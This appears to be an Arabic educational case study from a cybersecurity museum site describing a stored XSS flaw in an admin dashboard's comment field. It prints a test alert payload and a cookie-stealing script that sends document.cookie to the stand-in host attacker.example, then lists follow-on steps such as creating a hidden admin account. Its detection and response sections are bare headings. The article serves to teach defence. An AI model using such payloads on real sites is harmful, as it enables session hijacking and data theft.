حقن سكربت عبر المواقع (XSS)

معروض من المتحف الرقمي للأمن السيبراني.

العودة للرئيسية

ثغرة XSS في لوحة التحكم… وتحولها إلى اختراق كامل للحسابات

حقن سكربت عبر المواقع (XSS)

مقدمة

أطلقت شركة ناشئة لوحة تحكم جديدة لإدارة ملفات العملاء. ورغم التركيز على سرعة التطوير، تُرك حقل تعليقات من دون تعقيم مناسب، ما فتح الباب أمام ثغرة XSS قادت إلى اختراق حسابات حساسة داخل لوحة الإدارة.

بداية القصة

سمحت المنصة للمستخدمين بكتابة تعليقات على الملفات. كانت الواجهة الأمامية تزيّن النصوص فقط، بينما الواجهة الخلفية لا تُجري أي Sanitization فعلي للنص. لاحظ مهاجم أن الحقل يقبل وسوم HTML، فاختبر الإدخال التالي: 

<script>alert("XSS")</script>

عندما ظهر التنبيه في شاشة الإدارة، تأكد وجود ثغرة XSS مخزّنة يمكن استغلالها على حسابات الموظفين والمديرين.

تصعيد الاستغلال

طوّر المهاجم حمولة أخطر لسرقة الجلسة (Session Cookie):

<script>
  fetch('https://attacker.example/steal?data=' + encodeURIComponent(document.cookie));
</script>

بهذه الحمولة، صار بمقدور المهاجم سرقة الكوكيز الإدارية واستخدامها للدخول بحساب الضحية من دون كلمة مرور، ثم الوصول إلى صلاحيات مرتفعة داخل النظام.

ماذا حدث بعد سرقة الجلسة؟

  1. الاطلاع على بيانات العملاء الحساسة.
  2. تعديل إعدادات حرجة داخل لوحة التحكم.
  3. إنشاء حساب إداري خفي لاستمرارية الوصول.
  4. تعطيل إشعارات الأنشطة المشبوهة.
  5. زرع سكربت إضافي يُحمّل عند تسجيل دخول المستخدمين (Relay XSS).

مؤشرات الكشف

الاستجابة واحتواء الحادث

الدروس المستفادة